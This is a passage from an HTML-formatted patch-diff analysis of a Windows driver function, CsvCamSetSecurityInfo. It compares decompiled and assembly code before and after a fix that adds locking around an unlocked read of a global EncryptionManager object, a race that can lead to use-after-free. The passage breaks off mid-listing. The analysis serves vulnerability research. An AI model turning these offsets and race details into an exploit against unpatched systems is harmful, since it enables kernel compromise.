&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// EncryptionManager is read and dereferenced with NO lock held:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// deref +0x20&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// deref +0x18, boolean result&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// allocate + Encryption::Initialize, then under EXCLUSIVE lock free the old object:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ExAcquireResourceExclusiveLite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;Encryption&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;scalar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deleting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;destructor&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// FREE old object&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                            &lt;/span&gt;&lt;span class="c1"&gt;// install new object&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ExReleaseResourceLite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// ... region 2: the sequence-number loop reads/writes ReplayCacheManagerObject with NO lock ...&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED CsvCamSetSecurityInfo @ 0x1C0013304 (region 1 now locked) ===&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquireResourceSharedLite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// NEW: shared lock before the read&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExReleaseResourceLite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// NEW: release after the read&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// ... region 2: the sequence-number loop is likewise wrapped in a shared lock ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Unpatched — region 1: unlocked read of &lt;code&gt;EncryptionManager&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001331C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;supplied&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001332A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001332C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C001342F&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013332&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:?&lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;@3&lt;/span&gt;&lt;span class="n"&gt;PEAVEncryption&lt;/span&gt;&lt;span class="p"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;held&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001333C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001333F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001336D&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013341&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;possibly&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;freed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013344&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013346&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="kt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001335F&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013348&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Buf2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;possibly&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;freed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001334C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;                                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001334F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Ch&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Buf1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013353&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="w"&gt;                                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;returns&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;equal&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;not&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;equal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Unpatched — the exclusive-lock free that region 1 races&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00133D1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:?&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;@3&lt;/span&gt;&lt;span class="n"&gt;PEAVRWLock&lt;/span&gt;&lt;span class="p"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;
